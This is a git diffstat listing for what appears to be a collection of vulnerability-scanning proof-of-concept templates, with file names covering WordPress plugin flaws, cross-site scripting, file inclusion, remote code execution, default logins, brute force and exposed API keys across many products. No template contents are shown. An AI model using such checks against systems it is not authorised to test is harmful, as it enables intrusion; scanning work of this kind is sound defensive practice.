+- poc/web/webmin-panel.yaml | 18 +- poc/web/webmodule-ee-panel-11161.yaml | 28 + poc/web/webmodule-ee-panel.yaml | 22 +- poc/web/webpack-sourcemap.yaml | 221 + poc/web/webui-rce-11170.yaml | 16 +- poc/web/webui-rce-11174.yaml | 20 + ...webview-addjavascript-interface-11176.yaml | 6 +- poc/web/webview-load-url.yaml | 11 +- poc/web/webview-universal-access-11183.yaml | 13 + poc/web/webview-universal-access-11184.yaml | 16 - poc/web/webview-universal-access.yaml | 14 +- poc/web/xp-webcam-11699.yaml | 6 +- poc/web/zimbra-web-client-11814.yaml | 5 +- poc/web/zoho-webhook-token-11835.yaml | 22 - poc/web/zoho-webhook-token.yaml | 15 + poc/wordpress/WP-Vault-LFI.yaml | 16 +- poc/wordpress/alfacgiapi-wordpress-256.yaml | 3 + .../dahua-wpms-addimgico-fileupload.yaml | 78 +- poc/wordpress/feedwordpress-xss-7460.yaml | 8 +- .../nativechurch-wp-theme-lfd-8999.yaml | 7 +- .../nativechurch-wp-theme-lfd-9002.yaml | 9 +- .../nativechurch-wp-theme-lfd-9003.yaml | 25 + .../trilithic-viewpoint-default.yaml | 27 +- poc/wordpress/trilithic-viewpoint-login.yaml | 40 - .../viewpoint-system-status-11016.yaml | 7 +- .../viewpoint-system-status-11018.yaml | 20 + poc/wordpress/wordpress-LFI.yaml | 6 +- .../wordpress-accessible-wpconfig-11234.yaml | 60 +- .../wordpress-accessible-wpconfig-11235.yaml | 38 - .../wordpress-accessible-wpconfig-11238.yaml | 12 +- .../wordpress-affiliatewp-log-11242.yaml | 23 - .../wordpress-affiliatewp-log-11243.yaml | 23 + poc/wordpress/wordpress-affiliatewp-log.yaml | 15 +- ...ordpress-bbpress-plugin-listing-11245.yaml | 3 +- .../wordpress-bbpress-plugin-listing.yaml | 23 + .../wordpress-db-backup-listing.yaml | 10 +- poc/wordpress/wordpress-db-repair-11252.yaml | 20 - poc/wordpress/wordpress-db-repair-11254.yaml | 11 +- poc/wordpress/wordpress-db-repair-11255.yaml | 13 +- poc/wordpress/wordpress-debug-log-11256.yaml | 25 + poc/wordpress/wordpress-debug-log-11259.yaml | 25 - .../wordpress-directory-listing-11262.yaml | 10 +- .../wordpress-directory-listing-11266.yaml | 16 +- ...dpress-elementor-plugin-listing-11267.yaml | 15 +- ...press-elementor-plugin-listing-11269.yaml} | 0 .../wordpress-emergency-script-11275.yaml | 24 + .../wordpress-emergency-script-11277.yaml | 26 - poc/wordpress/wordpress-emergency-script.yaml | 12 +- .../wordpress-gotmls-detect-11280.yaml | 30 - poc/wordpress/wordpress-gotmls-detect.yaml | 20 +- ...press-gtranslate-plugin-listing-11282.yaml | 12 +- ...press-gtranslate-plugin-listing-11284.yaml | 23 + ...ordpress-infinitewp-auth-bypass-11285.yaml | 29 +- .../wordpress-infinitewp-auth-bypass.yaml | 20 +- poc/wordpress/wordpress-lfi.yaml | 21 + poc/wordpress/wordpress-login.yaml | 16 +- .../wordpress-plugins-detect-11297.yaml | 15 +- .../wordpress-plugins-detect-11298.yaml | 8 +- .../wordpress-rce-simplefilelist-11299.yaml | 68 + .../wordpress-rce-simplefilelist-11303.yaml | 24 +- poc/wordpress/wordpress-rdf-user-enum.yaml | 10 +- poc/wordpress/wordpress-readme-file.yaml | 33 + ...ess-redirection-plugin-listing-11306.yaml} | 0 ...ress-redirection-plugin-listing-11308.yaml | 14 +- poc/wordpress/wordpress-takeover-11310.yaml | 23 + poc/wordpress/wordpress-takeover-11313.yaml | 22 - .../wordpress-themes-detect-11316.yaml | 17 +- poc/wordpress/wordpress-themes2.yaml | 16 +- .../wordpress-tmm-db-migrate-11320.yaml | 23 + .../wordpress-tmm-db-migrate-11321.yaml | 2 +- ...319.yaml => wordpress-tmm-db-migrate.yaml} | 0 ...ordpress-total-upkeep-backup-download.yaml | 16 +- .../wordpress-updraftplus-pem-key.yaml | 12 +- poc/wordpress/wordpress-user-enum-11330.yaml | 11 +- poc/wordpress/wordpress-user-enum-11333.yaml | 28 + .../wordpress-user-enumeration-11329.yaml | 19 - .../wordpress-weak-credentials-11334.yaml | 21 +- .../wordpress-weak-credentials-11337.yaml | 22 +- .../wordpress-woocommerce-listing-11338.yaml | 7 +- .../wordpress-woocommerce-listing-11339.yaml | 22 + .../wordpress-woocommerce-listing-11341.yaml | 23 - .../wordpress-woocommerce-sqli-11343.yaml | 38 - poc/wordpress/wordpress-woocommerce-sqli.yaml | 5 + .../wordpress-wordfence-lfi-11349.yaml | 28 - .../wordpress-wordfence-lfi-11350.yaml | 21 +- .../wordpress-wordfence-xss-11357.yaml | 7 +- poc/wordpress/wordpress-workflow.yaml | 11 - ...press-wpcourses-info-disclosure-11369.yaml | 6 +- ...press-wpcourses-info-disclosure-11371.yaml | 36 - .../wordpress-wpcourses-info-disclosure.yaml | 7 +- .../wordpress-xmlrpc-brute-force.yaml | 97 +- .../wordpress-zebra-form-xss-11377.yaml | 5 +- .../wordpress-zebra-form-xss-11379.yaml | 6 +- poc/wordpress/wordpress.yaml | 52062 ----------- ...p-123contactform-plugin-listing-11400.yaml | 18 +- .../wp-123contactform-plugin-listing.yaml | 24 + poc/wordpress/wp-adaptive-xss-11404.yaml | 23 +- poc/wordpress/wp-ambience-xss-11410.yaml | 26 +- poc/wordpress/wp-app-log-11412.yaml | 26 + poc/wordpress/wp-app-log-11413.yaml | 30 - poc/wordpress/wp-arforms-listing-11415.yaml | 22 - ...ing.yaml => wp-arforms-listing-11418.yaml} | 0 poc/wordpress/wp-back-button.yaml | 59 + poc/wordpress/wp-bricks-builder-theme.yaml | 37 + poc/wordpress/wp-church-admin-xss-11423.yaml | 5 + poc/wordpress/wp-church-admin-xss-11424.yaml | 29 - poc/wordpress/wp-code-snippets-xss-11425.yaml | 25 +- poc/wordpress/wp-code-snippets-xss-11426.yaml | 39 - poc/wordpress/wp-config-setup.yaml | 13 +- poc/wordpress/wp-custom-tables-xss-11431.yaml | 25 - poc/wordpress/wp-custom-tables-xss-11434.yaml | 25 + poc/wordpress/wp-custom-tables-xss.yaml | 27 +- poc/wordpress/wp-debug-log.yaml | 58 +- ...nate-da3f0f16feb56d7497b76972109fd5c9.yaml | 59 + ...king-978f883d6a8b36161700bd5cd3933d9a.yaml | 59 + .../wp-email-subscribers-listing-11440.yaml | 2 +- .../wp-email-subscribers-listing-11442.yaml | 23 + .../wp-email-subscribers-listing-11443.yaml | 22 - poc/wordpress/wp-finder-xss-11445.yaml | 24 + poc/wordpress/wp-finder-xss-11449.yaml | 24 - poc/wordpress/wp-finder-xss-11450.yaml | 2 +- poc/wordpress/wp-flagem-xss-11451.yaml | 24 + poc/wordpress/wp-flagem-xss-11453.yaml | 25 - poc/wordpress/wp-full-path-disclosure.yaml | 15 +- .../wp-gtranslate-open-redirect-11463.yaml | 21 +- .../wp-gtranslate-open-redirect-11466.yaml | 20 +- poc/wordpress/wp-haberadam-idor.yaml | 13 +- .../wp-idx-broker-platinum-listing-11469.yaml | 2 +- poc/wordpress/wp-install-11473.yaml | 27 +- ...{wp-install-11475.yaml => wp-install.yaml} | 0 .../wp-iwp-client-listing-11478.yaml | 23 + .../wp-iwp-client-listing-11479.yaml | 17 +- ...tbox-99110571c397e4da07c1bd94f9b80853.yaml | 59 + poc/wordpress/wp-knews-xss-11486.yaml | 7 +- poc/wordpress/wp-knews-xss-11487.yaml | 25 - poc/wordpress/wp-license-file-11489.yaml | 17 - poc/wordpress/wp-license-file-11491.yaml | 18 + poc/wordpress/wp-license-file.yaml | 10 +- poc/wordpress/wp-logs-book.yaml | 59 + ...l => wp-mailchimp-log-exposure-11494.yaml} | 0 poc/wordpress/wp-mailchimp-log-exposure.yaml | 23 - ...ance-bddd2594e97161a0a633c13561368f2c.yaml | 59 + ...p-memphis-documents-library-lfi-11495.yaml | 26 + ...p-memphis-documents-library-lfi-11498.yaml | 16 +- poc/wordpress/wp-misconfig.yaml | 77 +- .../wp-multiple-theme-ssrf-11508.yaml | 28 - .../wp-multiple-theme-ssrf-11511.yaml | 34 +- poc/wordpress/wp-nextgen-xss-11514.yaml | 3 +- poc/wordpress/wp-oxygen-theme-lfi-11519.yaml | 14 +- poc/wordpress/wp-oxygen-theme-lfi-11523.yaml | 13 +- poc/wordpress/wp-phpfreechat-xss-11527.yaml | 24 - ...p-plugin-1-flashgallery-listing-11532.yaml | 16 +- poc/wordpress/wp-plugin-lifterlms-11536.yaml | 22 - poc/wordpress/wp-plugin-lifterlms.yaml | 4 +- .../wp-plugin-marmoset-viewer-xss-11537.yaml | 22 + .../wp-plugin-marmoset-viewer-xss-11538.yaml | 6 +- .../wp-plugin-utlimate-member-11541.yaml | 7 +- .../wp-plugin-utlimate-member-11542.yaml | 17 +- poc/wordpress/wp-popup-listing-11545.yaml | 29 + poc/wordpress/wp-popup-listing.yaml | 21 - ...l => wp-prostore-open-redirect-11546.yaml} | 0 .../wp-prostore-open-redirect-11549.yaml | 14 +- .../wp-prostore-open-redirect-11550.yaml | 20 - poc/wordpress/wp-qards-listing-11551.yaml | 9 +- ...sting.yaml => wp-qards-listing-11552.yaml} | 0 .../wp-revslider-file-download-11553.yaml | 10 +- .../wp-revslider-file-download-11554.yaml | 33 + .../wp-security-open-redirect-11561.yaml | 33 + poc/wordpress/wp-security-open-redirect.yaml | 21 - poc/wordpress/wp-slideshow-xss.yaml | 30 +- poc/wordpress/wp-socialfit-xss-11581.yaml | 2 +- poc/wordpress/wp-spot-premium-lfi-11584.yaml | 9 +- poc/wordpress/wp-spot-premium-lfi.yaml | 28 - poc/wordpress/wp-super-forms-11587.yaml | 21 - poc/wordpress/wp-super-forms-11588.yaml | 14 +- poc/wordpress/wp-tinymce-lfi-11589.yaml | 31 - poc/wordpress/wp-tinymce-lfi-11591.yaml | 25 + poc/wordpress/wp-tinymce-lfi.yaml | 10 +- poc/wordpress/wp-tutor-lfi-11596.yaml | 16 + poc/wordpress/wp-tutor-lfi-11599.yaml | 14 +- poc/wordpress/wp-tutor-lfi-11600.yaml | 15 +- poc/wordpress/wp-upload-data-11605.yaml | 29 + ...s-upload-data.yaml => wp-upload-data.yaml} | 0 poc/wordpress/wp-vault-lfi-11610.yaml | 4 +- poc/wordpress/wp-whmcs-xss-11614.yaml | 37 - poc/wordpress/wp-whmcs-xss.yaml | 8 +- poc/wordpress/wp-widget-bundle.yaml | 59 + ...-woocommerce-email-verification-11617.yaml | 29 + ...-woocommerce-email-verification-11618.yaml | 34 +- poc/wordpress/wp-xmlrpc-11631.yaml | 14 - .../wp-xmlrpc-brute-force-11623.yaml | 2 +- .../wp-xmlrpc-brute-force-11624.yaml | 45 + .../wp-xmlrpc-pingback-detection.yaml | 11 +- poc/wordpress/wpdm-cache-session-11436.yaml | 23 + poc/wordpress/wpdm-cache-session-11439.yaml | 26 - .../wpmudev-my-calender-xss-11502.yaml | 24 + .../wpmudev-my-calender-xss-11503.yaml | 29 - poc/wordpress/wpmudev-my-calender-xss.yaml | 53 +- poc/wordpress/wpmudev-pub-keys-11506.yaml | 24 - poc/wordpress/wpmudev-pub-keys-11507.yaml | 26 + poc/wordpress/wpmudev-pub-keys.yaml | 14 +- .../wptouch-open-redirect-11595.yaml | 30 + .../wptouch-plugin-open-redirect.yaml | 13 +- ...pringboot-actuators-jolokia-xxe-10430.yaml | 28 - ...pringboot-actuators-jolokia-xxe-10431.yaml | 18 +- poc/xss/Oracle-OAM-XSS.yaml | 4 + poc/xss/accessibility-helper-xss-18.yaml | 5 + poc/xss/aem-setpreferences-xss-189.yaml | 6 +- poc/xss/aem-xss-childlist-selector-197.yaml | 45 + poc/xss/akamai-arl-xss-249.yaml | 40 - poc/xss/akamai-arl-xss.yaml | 31 + poc/xss/basic-xss-prober-699.yaml | 35 + poc/xss/blind-xss-user-agent.yaml | 79 +- poc/xss/blind-xss.yaml | 16 +- poc/xss/ckan-dom-based-xss-992.yaml | 49 - poc/xss/ckan-dom-based-xss.yaml | 30 + poc/xss/coldfusion-debug-xss-1152.yaml | 21 +- poc/xss/coldfusion-debug-xss-1153.yaml | 65 +- poc/xss/concrete-xss-1177.yaml | 9 +- poc/xss/concrete-xss.yaml | 35 + poc/xss/discourse-xss-7013.yaml | 20 +- poc/xss/discourse-xss-7014.yaml | 28 +- .../{dom-xss-7079.yaml => dom-xss-7078.yaml} | 0 ...minder(1).yaml => dom-xss-siteminder.yaml} | 0 poc/xss/elex-woocommerce-xss-7199.yaml | 15 +- poc/xss/elex-woocommerce-xss.yaml | 42 + poc/xss/empirecms-xss-7218.yaml | 23 +- poc/xss/empirecms-xss-7220.yaml | 17 +- poc/xss/feedwordpress-xss-7460.yaml | 8 +- poc/xss/geovision-geowebserver-xss-7598.yaml | 19 +- poc/xss/geovision-geowebserver-xss-7600.yaml | 19 +- poc/xss/global-domains-xss-7717.yaml | 22 +- poc/xss/global-domains-xss-7718.yaml | 8 +- poc/xss/httpbin-xss-8053.yaml | 39 +- poc/xss/id-q-xss.yaml | 4 + poc/xss/java-melody-xss-8225.yaml | 16 +- poc/xss/java-melody-xss.yaml | 26 + poc/xss/jorani-benjamin-xss.yaml | 58 + poc/xss/kafdrop-xss-8411.yaml | 23 - poc/xss/kafdrop-xss-8414.yaml | 11 +- poc/xss/keycloak-xss-8480.yaml | 28 + poc/xss/keycloak-xss-8482.yaml | 27 - poc/xss/laravel-ignition-xss-8592.yaml | 13 +- poc/xss/laravel-ignition-xss.yaml | 30 + poc/xss/mida-eframework-xss-8866.yaml | 38 - poc/xss/mida-eframework-xss-8868.yaml | 6 +- poc/xss/moodle-xss-8950.yaml | 33 + poc/xss/moodle-xss-8952.yaml | 32 - poc/xss/my-chatbot-xss-8978.yaml | 18 +- poc/xss/my-chatbot-xss-8979.yaml | 14 +- poc/xss/netsweeper-rxss-9065.yaml | 40 + poc/xss/netsweeper-rxss.yaml | 24 - poc/xss/nginx-module-vts-xss-9106.yaml | 49 +- poc/xss/nginx-module-vts-xss-9109.yaml | 23 - poc/xss/nginx-module-vts-xss-9110.yaml | 5 + poc/xss/oracle-ebs-xss-9373.yaml | 29 + poc/xss/oracle-ebs-xss-9376.yaml | 33 - poc/xss/oracle-ebs-xss-9377.yaml | 6 +- poc/xss/oracle-oam-xss.yaml | 24 + poc/xss/parentlink-xss-9466.yaml | 23 +- poc/xss/parentlink-xss-9467.yaml | 32 - poc/xss/php-timeclock-xss-9550.yaml | 27 + ...k-xss-9554.yaml => php-timeclock-xss.yaml} | 0 poc/xss/pmb-xss.yaml | 53 + poc/xss/qcubed-xss-9749.yaml | 42 - poc/xss/qcubed-xss.yaml | 27 + poc/xss/rails6-xss-9797.yaml | 4 +- poc/xss/rails6-xss-9798.yaml | 31 + poc/xss/rails6-xss-9800.yaml | 16 +- poc/xss/rockmongo-xss-9901.yaml | 27 +- poc/xss/rockmongo-xss-9902.yaml | 3 +- .../nuclei_template.yaml => xss/rxss.yaml} | 0 poc/xss/samsung-wlan-ap-xss-10012.yaml | 3 +- poc/xss/samsung-wlan-ap-xss.yaml | 25 - poc/xss/sick-beard-xss-10230.yaml | 25 +- poc/xss/sick-beard-xss-10233.yaml | 12 +- poc/xss/sick-beard-xss-10234.yaml | 26 - poc/xss/sniplets-xss-10344.yaml | 10 +- poc/xss/squirrelmail-vkeyboard-xss-10522.yaml | 41 - poc/xss/squirrelmail-vkeyboard-xss.yaml | 25 + poc/xss/thruk-xss-10758.yaml | 40 +- poc/xss/thruk-xss.yaml | 29 - poc/xss/tikiwiki-reflected-xss-10779.yaml | 5 - poc/xss/tikiwiki-reflected-xss-10780.yaml | 19 - poc/xss/tikiwiki-xss.yaml | 43 + poc/xss/top-xss-params-10807.yaml | 75 + poc/xss/top-xss-params.yaml | 24 +- poc/xss/vanguard-post-xss-10992.yaml | 21 +- poc/xss/vanguard-post-xss-10994.yaml | 23 +- poc/xss/wems-manager-xss-11194.yaml | 7 +- poc/xss/wems-manager-xss.yaml | 25 + poc/xss/window-name-domxss-11214.yaml | 86 +- ...xss-11213.yaml => window-name-domxss.yaml} | 0 poc/xss/wordpress-wordfence-xss-11357.yaml | 7 +- poc/xss/wordpress-zebra-form-xss-11377.yaml | 5 +- poc/xss/wordpress-zebra-form-xss-11379.yaml | 6 +- poc/xss/wp-adaptive-xss-11404.yaml | 23 +- poc/xss/wp-ambience-xss-11410.yaml | 26 +- poc/xss/wp-church-admin-xss-11423.yaml | 5 + poc/xss/wp-church-admin-xss-11424.yaml | 29 - poc/xss/wp-code-snippets-xss-11425.yaml | 25 +- poc/xss/wp-code-snippets-xss-11426.yaml | 39 - poc/xss/wp-custom-tables-xss-11431.yaml | 25 - poc/xss/wp-custom-tables-xss-11434.yaml | 25 + poc/xss/wp-custom-tables-xss.yaml | 27 +- poc/xss/wp-finder-xss-11445.yaml | 24 + poc/xss/wp-finder-xss-11449.yaml | 24 - poc/xss/wp-finder-xss-11450.yaml | 2 +- poc/xss/wp-flagem-xss-11451.yaml | 24 + poc/xss/wp-flagem-xss-11453.yaml | 25 - poc/xss/wp-knews-xss-11486.yaml | 7 +- poc/xss/wp-knews-xss-11487.yaml | 25 - poc/xss/wp-nextgen-xss-11514.yaml | 3 +- poc/xss/wp-phpfreechat-xss-11527.yaml | 24 - .../wp-plugin-marmoset-viewer-xss-11537.yaml | 22 + .../wp-plugin-marmoset-viewer-xss-11538.yaml | 6 +- poc/xss/wp-slideshow-xss.yaml | 30 +- poc/xss/wp-socialfit-xss-11581.yaml | 2 +- poc/xss/wp-whmcs-xss-11614.yaml | 37 - poc/xss/wp-whmcs-xss.yaml | 8 +- poc/xss/wpmudev-my-calender-xss-11502.yaml | 24 + poc/xss/wpmudev-my-calender-xss-11503.yaml | 29 - poc/xss/wpmudev-my-calender-xss.yaml | 53 +- 5593 files changed, 106187 insertions(+), 259330 deletions(-) rename poc/adobe/{adobe-coldfusion-detect.yaml => adobe-coldfusion-detect-83.yaml} (100%) rename poc/adobe/{adobe-coldfusion-error-detect-86.yaml => adobe-coldfusion-error-detect.yaml} (100%) create mode 100644 poc/adobe/adobe-component-login-89.yaml delete mode 100644 poc/adobe/adobe-component-login-90.yaml create mode 100644 poc/adobe/adobe-connect-central-login-93.yaml delete mode 100644 poc/adobe/adobe-connect-central-login-97.yaml delete mode 100644 poc/adobe/adobe-connect-username-exposure-100.yaml create mode 100644 poc/adobe/adobe-experience-manager-login-105.yaml delete mode 100644 poc/adobe/adobe-experience-manager-login-106.yaml create mode 100644 poc/adobe/adobe-media-server-114.yaml delete mode 100644 poc/adobe/adobe-media-server.yaml delete mode 100644 poc/adobe/aem-bg-servlet-127.yaml delete mode 100644 poc/adobe/aem-crx-bypass-132.yaml delete mode 100644 poc/adobe/aem-default-get-servlet-136.yaml create mode 100644 poc/adobe/aem-default-get-servlet-137.yaml create mode 100644 poc/adobe/aem-default-get-servlet-138.yaml rename poc/adobe/{aem-default-login-141.yaml => aem-default-login-140.yaml} (100%) delete mode 100644 poc/adobe/aem-default-login.yaml create mode 100644 poc/adobe/aem-detection-145.yaml delete mode 100644 poc/adobe/aem-detection-146.yaml create mode 100644 poc/adobe/aem-gql-servlet-149.yaml delete mode 100644 poc/adobe/aem-gql-servlet-150.yaml create mode 100644 poc/adobe/aem-groovyconsole-153.yaml create mode 100644 poc/adobe/aem-hash-querybuilder-159.yaml delete mode 100644 poc/adobe/aem-hash-querybuilder-161.yaml rename poc/adobe/{aem-merge-metadata-servlet-174.yaml => aem-merge-metadata-servlet-172.yaml} (100%) delete mode 100644 poc/adobe/aem-merge-metadata-servlet.yaml create mode 100644 poc/adobe/aem-querybuilder-feed-servlet-175.yaml delete mode 100644 poc/adobe/aem-querybuilder-json-servlet-182.yaml delete mode 100644 poc/adobe/aem-querybuilder-json-servlet-186.yaml create mode 100644 poc/adobe/aem-secrets.yaml create mode 100644 poc/adobe/aem-userinfo-servlet-190.yaml delete mode 100644 poc/adobe/aem-userinfo-servlet-193.yaml create mode 100644 poc/adobe/aem-xss-childlist-selector-197.yaml delete mode 100644 poc/adobe/possible-AEM-secrets.yaml create mode 100644 poc/adobe/vmware-authentication-daemon-detect.yaml rename poc/airflow/{airflow-default-login.yaml => airflow-default-login-234.yaml} (100%) delete mode 100644 poc/airflow/airflow-default-login-235.yaml create mode 100644 poc/airflow/unauthenticated-airflow-10887.yaml create mode 100644 poc/apache/apache-apisix-panel-336.yaml delete mode 100644 poc/apache/apache-apisix-panel-338.yaml create mode 100644 poc/apache/apache-axis-detect.yaml create mode 100644 poc/apache/apache-cocoon-detect-342.yaml delete mode 100644 poc/apache/apache-cocoon-detect.yaml delete mode 100644 poc/apache/apache-config-344.yaml create mode 100644 poc/apache/apache-config.yaml create mode 100644 poc/apache/apache-dubbo-detect-351.yaml delete mode 100644 poc/apache/apache-dubbo-detect.yaml create mode 100644 poc/apache/apache-dubbo-unauth.yaml create mode 100644 poc/apache/apache-filename-enum-354.yaml delete mode 100644 poc/apache/apache-filename-enum.yaml rename poc/apache/{apache-flink-unauth-rce-355.yaml => apache-flink-unauth-rce-356.yaml} (100%) create mode 100644 poc/apache/apache-flink-unauth-rce.yaml create mode 100644 poc/apache/apache-guacamole-361.yaml delete mode 100644 poc/apache/apache-guacamole.yaml create mode 100644 poc/apache/apache-httpd-rce-362.yaml create mode 100644 poc/apache/apache-rocketmq-broker-unauth.yaml create mode 100644 poc/apache/apache-tomcat-CVE-2022-34305.yaml create mode 100644 poc/apache/apache-tomcat-snoop-374.yaml delete mode 100644 poc/apache/apache-tomcat-snoop-375.yaml create mode 100644 poc/apache/default-apache-test-all-6815.yaml rename poc/apache/{default-apache-test-all-6813.yaml => default-apache-test-all.yaml} (100%) delete mode 100644 poc/apache/default-apache-test-page.yaml delete mode 100644 poc/apache/default-apache2-ubuntu-page-6808.yaml create mode 100644 poc/api/apache-apisix-panel-336.yaml delete mode 100644 poc/api/apache-apisix-panel-338.yaml create mode 100644 poc/api/api-adafruit-io-387.yaml delete mode 100644 poc/api/api-adafruit-io.yaml create mode 100644 poc/api/api-alienvault.yaml create mode 100644 poc/api/api-apigee-edge-391.yaml delete mode 100644 poc/api/api-apigee-edge.yaml create mode 100644 poc/api/api-appveyor-392.yaml delete mode 100644 poc/api/api-appveyor.yaml create mode 100644 poc/api/api-asana.yaml delete mode 100644 poc/api/api-bingmaps.yaml delete mode 100644 poc/api/api-block-400.yaml create mode 100644 poc/api/api-block.yaml delete mode 100644 poc/api/api-blockchain-398.yaml create mode 100644 poc/api/api-blockchain-399.yaml create mode 100644 poc/api/api-bravenewcoin-401.yaml delete mode 100644 poc/api/api-bravenewcoin.yaml rename poc/api/{api-calendly-404.yaml => api-calendly.yaml} (100%) create mode 100644 poc/api/api-clearbit-407.yaml delete mode 100644 poc/api/api-clearbit.yaml delete mode 100644 poc/api/api-coinapi-408.yaml create mode 100644 poc/api/api-coinapi.yaml delete mode 100644 poc/api/api-cooperhewitt-410.yaml delete mode 100644 poc/api/api-covalent-412.yaml create mode 100644 poc/api/api-covalent.yaml delete mode 100644 poc/api/api-deviantart-415.yaml create mode 100644 poc/api/api-deviantart.yaml rename poc/api/{api-dribbble-417.yaml => api-dribbble-416.yaml} (100%) create mode 100644 poc/api/api-dribbble.yaml create mode 100644 poc/api/api-dropbox-418.yaml create mode 100644 poc/api/api-europeana.yaml create mode 100644 poc/api/api-facebook-422.yaml delete mode 100644 poc/api/api-facebook.yaml create mode 100644 poc/api/api-fastly-423.yaml delete mode 100644 poc/api/api-gitlab-430.yaml delete mode 100644 poc/api/api-gitlab-431.yaml delete mode 100644 poc/api/api-heroku-435.yaml create mode 100644 poc/api/api-hirak-rates-436.yaml delete mode 100644 poc/api/api-hirak-rates.yaml delete mode 100644 poc/api/api-iconfinder-439.yaml delete mode 100644 poc/api/api-instatus-442.yaml create mode 100644 poc/api/api-instatus.yaml create mode 100644 poc/api/api-intercom-443.yaml delete mode 100644 poc/api/api-intercom.yaml create mode 100644 poc/api/api-iterable.yaml create mode 100644 poc/api/api-jumpcloud.yaml delete mode 100644 poc/api/api-leanix-450.yaml create mode 100644 poc/api/api-leanix.yaml create mode 100644 poc/api/api-mailchimp.yaml rename poc/api/{api-malshare-456.yaml => api-malshare.yaml} (100%) rename poc/api/{api-mapbox-465.yaml => api-mapbox.yaml} (100%) delete mode 100644 poc/api/api-mywot.yaml create mode 100644 poc/api/api-nerdgraph.yaml create mode 100644 poc/api/api-onelogin-472.yaml delete mode 100644 poc/api/api-onelogin.yaml delete mode 100644 poc/api/api-pagerduty.yaml create mode 100644 poc/api/api-particle-476.yaml delete mode 100644 poc/api/api-particle.yaml create mode 100644 poc/api/api-paypal-478.yaml delete mode 100644 poc/api/api-paypal.yaml delete mode 100644 poc/api/api-petfinder-480.yaml create mode 100644 poc/api/api-petfinder.yaml delete mode 100644 poc/api/api-pinata-481.yaml create mode 100644 poc/api/api-pinata.yaml create mode 100644 poc/api/api-pivotaltracker.yaml rename poc/api/{api-rijksmuseum.yaml => api-rijksmuseum-485.yaml} (100%) create mode 100644 poc/api/api-scanii-487.yaml delete mode 100644 poc/api/api-scanii.yaml create mode 100644 poc/api/api-sonarcloud-494.yaml delete mode 100644 poc/api/api-sonarcloud.yaml create mode 100644 poc/api/api-stytch-500.yaml delete mode 100644 poc/api/api-stytch.yaml delete mode 100644 poc/api/api-taiga-501.yaml create mode 100644 poc/api/api-taiga.yaml delete mode 100644 poc/api/api-thecatapi-502.yaml delete mode 100644 poc/api/api-tink-504.yaml create mode 100644 poc/api/api-tink.yaml create mode 100644 poc/api/api-tinypng.yaml create mode 100644 poc/api/api-travisci.yaml rename poc/api/{api-virustotal.yaml => api-virustotal-511.yaml} (100%) delete mode 100644 poc/api/api-wakatime.yaml delete mode 100644 poc/api/api-youtube-519.yaml create mode 100644 poc/api/api-youtube.yaml create mode 100644 poc/api/apiman-panel-462.yaml delete mode 100644 poc/api/apiman-panel-463.yaml rename poc/api/{burp-api-detect.yaml => burp-api-detect-812.yaml} (100%) delete mode 100644 poc/api/couchbase-buckets-api-1233.yaml rename poc/api/{couchbase-buckets-api-1232.yaml => couchbase-buckets-api.yaml} (100%) create mode 100644 poc/api/drupal-jsonapi-user-listing.yaml delete mode 100644 poc/api/exposed-glances-api-7309.yaml create mode 100644 poc/api/fastapi-docs-7399.yaml create mode 100644 poc/api/gmail-api-client-secrets-7741.yaml delete mode 100644 poc/api/google-api(1).yaml create mode 100644 poc/api/google-api-7772.yaml create mode 100644 poc/api/google-api-key-7769.yaml create mode 100644 poc/api/graylog-api-browser-7846.yaml rename poc/api/{kube-api-namespaces-8506.yaml => kube-api-namespaces.yaml} (100%) delete mode 100644 poc/api/kube-api-pods-8510.yaml create mode 100644 poc/api/kube-api-pods.yaml create mode 100644 poc/api/kube-api-secrets-8512.yaml delete mode 100644 poc/api/kube-api-secrets.yaml rename poc/api/{magento-2-exposed-api.yaml => magento-2-exposed-api-8687.yaml} (100%) delete mode 100644 poc/api/magento-2-exposed-api-8688.yaml create mode 100644 poc/api/mailgun-api(1).yaml delete mode 100644 poc/api/mailgun-api-11855.yaml create mode 100644 poc/api/mikrotik-routeros-api.yaml create mode 100644 poc/api/pictatic-api-key-9575.yaml delete mode 100644 poc/api/pictatic-api-key-9576.yaml delete mode 100644 poc/api/strapi-documentation-10543.yaml create mode 100644 poc/api/strapi-page-10546.yaml rename poc/api/{stripe-api-key-11869.yaml => stripe-api-key(1).yaml} (100%) create mode 100644 poc/api/wadl-api-11084.yaml rename poc/api/{wadl-api-11082.yaml => wadl-api.yaml} (100%) create mode 100644 poc/api/wsdl-api-11634.yaml create mode 100644 poc/api/wso2-apimanager-detect-11638.yaml delete mode 100644 poc/api/yapi-detect-11721.yaml create mode 100644 poc/api/yapi-detect.yaml create mode 100644 poc/api/yapi-rce-11726.yaml create mode 100644 poc/api/yapi-rce.yaml create mode 100644 poc/atlassian/atlassian-crowd-panel-581.yaml create mode 100644 poc/atlassian/atlassian-crowd-panel-585.yaml create mode 100644 poc/atlassian/confluence-detect-1186.yaml delete mode 100644 poc/atlassian/confluence-detect-1188.yaml rename poc/atlassian/{confluence-ssrf-sharelinks-1190.yaml => confluence-ssrf-sharelinks-1193.yaml} (100%) delete mode 100644 poc/atlassian/confluence-ssrf-sharelinks.yaml delete mode 100644 poc/atlassian/jira-detect-8316.yaml delete mode 100644 poc/atlassian/jira-service-desk-signup-8317.yaml create mode 100644 poc/atlassian/jira-service-desk-signup-8321.yaml delete mode 100644 poc/atlassian/jira-unauthenticated-dashboards-8324.yaml create mode 100644 poc/atlassian/jira-unauthenticated-dashboards-8326.yaml delete mode 100644 poc/atlassian/jira-unauthenticated-installed-gadgets-8330.yaml create mode 100644 poc/atlassian/jira-unauthenticated-popular-filters-8331.yaml delete mode 100644 poc/atlassian/jira-unauthenticated-projectcategories.yaml delete mode 100644 poc/atlassian/jira-unauthenticated-projects-8335.yaml create mode 100644 poc/atlassian/jira-unauthenticated-projects.yaml delete mode 100644 poc/atlassian/jira-unauthenticated-user-picker-8341.yaml create mode 100644 poc/auth/3Com-wireless-default-login.yaml delete mode 100644 poc/auth/Mantis-Default_login.yaml create mode 100644 poc/auth/acemanager-login-23.yaml rename poc/auth/{activemq-default-login-47.yaml => activemq-default-login-44.yaml} (100%) create mode 100644 poc/auth/adobe-component-login-89.yaml delete mode 100644 poc/auth/adobe-component-login-90.yaml create mode 100644 poc/auth/adobe-connect-central-login-93.yaml delete mode 100644 poc/auth/adobe-connect-central-login-97.yaml create mode 100644 poc/auth/adobe-experience-manager-login-105.yaml delete mode 100644 poc/auth/adobe-experience-manager-login-106.yaml rename poc/auth/{aem-default-login-141.yaml => aem-default-login-140.yaml} (100%) delete mode 100644 poc/auth/aem-default-login.yaml create mode 100644 poc/auth/aem-secrets.yaml delete mode 100644 